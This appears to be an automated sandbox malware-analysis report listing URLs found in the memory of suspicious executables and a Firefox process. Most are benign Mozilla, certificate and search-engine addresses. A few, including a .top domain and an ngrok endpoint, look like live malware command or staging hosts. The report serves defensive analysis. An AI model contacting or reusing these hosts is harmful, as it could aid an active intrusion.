Source: 2235d4f703.exe, 00000009.00000003.2689912258.0000000001224000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2688046289.0000000001224000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2686826837.0000000001224000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2685819613.0000000001224000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2687374958.0000000001224000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2685489848.0000000001224000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2692244836.0000000001224000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2656642315.0000000001223000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2687234574.0000000001224000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2688669064.0000000001224000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2687820469.0000000001224000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2689461786.0000000001224000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2715582287.0000000001223000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2684931089.0000000001224000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2684409963.0000000001223000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2689623976.0000000001224000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2691008602.0000000001224000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2688360776.0000000001224000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2685083573.0000000001224000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2685660579.0000000001224000.00000004.00000020.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2684773955.0000000001224000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft4
Source: 2235d4f703.exe, 00000009.00000003.2657057539.0000000005896000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2787006517.0000000005B28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 2235d4f703.exe, 00000009.00000003.2657057539.0000000005896000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2787006517.0000000005B28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 2235d4f703.exe, 00000009.00000003.2657057539.0000000005896000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2787006517.0000000005B28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 2235d4f703.exe, 00000009.00000003.2657057539.0000000005896000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2787006517.0000000005B28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 2235d4f703.exe, 00000009.00000003.2657057539.0000000005896000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2787006517.0000000005B28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 00000019.00000002.2972813755.000002348A425000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 00000019.00000003.2809785226.000002348FB3D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3027734740.000002348AC66000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 00000019.00000003.2848449096.000002348E7E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 00000019.00000003.2847893186.000002348E81C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 00000019.00000002.3038902063.000002348AEF0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListenerFailed
Source: firefox.exe, 00000019.00000002.3038902063.000002348AEF0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListenerThe
Source: 2a8b7e5b78.exe, 00000007.00000003.2463978988.0000000007162000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW17
Source: 2a8b7e5b78.exe, 00000007.00000003.2463978988.0000000007162000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: firefox.exe, 00000019.00000003.2846711290.000002348E82B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-04/schema#
Source: firefox.exe, 00000019.00000003.2846711290.000002348E82B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-06/schema#
Source: firefox.exe, 00000019.00000003.2846711290.000002348E82B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#-
Source: firefox.exe, 00000019.00000003.2846711290.000002348E82B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2911640090.000002348E640000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org
Source: firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/additionalProperties
Source: firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsFeatureGate
Source: firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsShowLessFrequentlyCap
Source: firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsUITreatment
Source: firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThreshold
Source: firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryUseCountThreshold
Source: firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bestMatchEnabledresource://gre/modules/ReaderMode.sys.mjs
Source: firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/experimentType
Source: firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/exposureResults
Source: firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/mdnFeatureGate
Source: firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoEnabled
Source: firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoProviders
Source: firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoTimeoutMs
Source: firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions
Source: firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywords
Source: firefox.exe, 00000019.00000003.2803157029.00000234956B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2834797644.00000234955F5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2915309184.000002348E2E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2803157029.00000234956D0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2834797644.00000234955DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2809785226.000002348FB3D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A461000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2878220969.000002348E18E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2902363183.00000234956B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2878220969.000002348E17A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2878220969.000002348E1D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A425000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2834797644.0000023495554000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2806985010.00000234956D0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3027734740.000002348AC73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2915309184.000002348E2C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2800305159.00000234956E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2834797644.00000234955C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2800424280.00000234956C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2801426526.00000234956E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: 2235d4f703.exe, 00000009.00000003.2657057539.0000000005896000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2787006517.0000000005B28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 2235d4f703.exe, 00000009.00000003.2657057539.0000000005896000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2787006517.0000000005B28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sresource://gre/modules/DeferredTask.sys.mjsresource://gre/modu
Source: firefox.exe, 00000019.00000003.2834797644.00000234955DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0.
Source: firefox.exe, 00000019.00000003.2834797644.00000234955DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0W
Source: firefox.exe, 00000019.00000003.2834797644.00000234955DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%shandlerSvc
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 00000019.00000002.2959811201.00000234898E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 00000019.00000003.2809785226.000002348FBD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul8
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://browser/content/schemas/devtoo
Source: firefox.exe, 00000019.00000002.2959811201.00000234898AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/shopping/Shoppi
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://passwordmgr/locale/passwordmgr
Source: firefox.exe, 00000019.00000002.2959811201.00000234898AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulhttp://www.mozilla.org/keymaster/gateke
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulmaybeImportLogins:
Source: firefox.exe, 00000019.00000002.2959811201.0000023489826000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulpruneAttachments/
Source: firefox.exe, 00000019.00000002.2959811201.00000234898AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://devtools/shared/security/Dev
Source: firefox.exe, 00000019.00000002.2959811201.00000234898AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulsaveBrowser
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulsrc=image
Source: 2235d4f703.exe, 00000009.00000003.2657057539.0000000005896000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2787006517.0000000005B28000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2834797644.00000234955DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 2235d4f703.exe, 00000009.00000003.2657057539.0000000005896000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2787006517.0000000005B28000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2834797644.00000234955DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 00000019.00000003.2751068754.000002348D100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2755601551.000002348D37B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2754071325.000002348D320000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2754638273.000002348D33E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/https://www.google.com/searchVALIDATE_ONCE_PER_SESSIONsetClosedCaptionB
Source: 2235d4f703.exe, 00000009.00000003.2602738583.000000000589B000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2602569883.000000000589D000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2733313298.0000000005B3E000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2733601520.0000000005B3C000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2733441529.0000000005B3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 00000019.00000002.3045686159.000002348B7B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 00000019.00000003.2834797644.00000234955B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.comK
Source: firefox.exe, 00000019.00000003.2809785226.000002348FB3D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A425000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2929719556.000000ADEE1D8000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: 2a8b7e5b78.exe, 00000007.00000003.2463978988.0000000007162000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/test
Source: 2a8b7e5b78.exe, 00000007.00000003.2463978988.0000000007162000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/testFailed
Source: firefox.exe, 00000019.00000002.3045686159.000002348B7F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 00000019.00000002.3045686159.000002348B7F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2809217950.000002349598F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
Source: firefox.exe, 00000019.00000002.3045686159.000002348B7B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 00000019.00000002.3045686159.000002348B7E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 00000019.00000002.3045686159.000002348B7E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 00000019.00000003.2809646575.000002349591A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: 2235d4f703.exe, 00000009.00000003.2660788882.0000000005854000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2790096589.0000000005B03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3045686159.000002348B7B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A461000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: 2235d4f703.exe, 00000009.00000003.2660788882.0000000005854000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2790096589.0000000005B03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3045686159.000002348B7B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A461000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: firefox.exe, 00000019.00000002.3027734740.000002348ACE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 00000019.00000002.2959811201.00000234898AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 00000019.00000002.2959811201.00000234898AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180unified-nav-forward
Source: firefox.exe, 00000019.00000003.2834797644.0000023495578000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 00000019.00000003.2834797644.0000023495578000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 00000019.00000003.2834797644.0000023495578000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 00000019.00000003.2834797644.0000023495578000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: 2235d4f703.exe, 00000009.00000003.2602738583.000000000589B000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2602569883.000000000589D000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2733313298.0000000005B3E000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2733601520.0000000005B3C000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2733441529.0000000005B3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 2235d4f703.exe, 00000009.00000003.2602738583.000000000589B000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2602569883.000000000589D000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2733313298.0000000005B3E000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2733601520.0000000005B3C000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2733441529.0000000005B3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 2235d4f703.exe, 00000009.00000003.2602738583.000000000589B000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 00000009.00000003.2602569883.000000000589D000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2733313298.0000000005B3E000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2733601520.0000000005B3C000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2733441529.0000000005B3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 00000019.00000002.2959811201.0000023489872000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2754638273.000002348D33E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 00000019.00000002.2972813755.000002348A452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net
Source: firefox.exe, 00000019.00000002.3021308572.000002348AAA0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: 2235d4f703.exe, 00000009.00000003.2660788882.0000000005854000.00000004.00000800.00020000.00000000.sdmp, 2235d4f703.exe, 0000000B.00000003.2790096589.0000000005B03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3045686159.000002348B7B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A461000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2972813755.000002348A403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
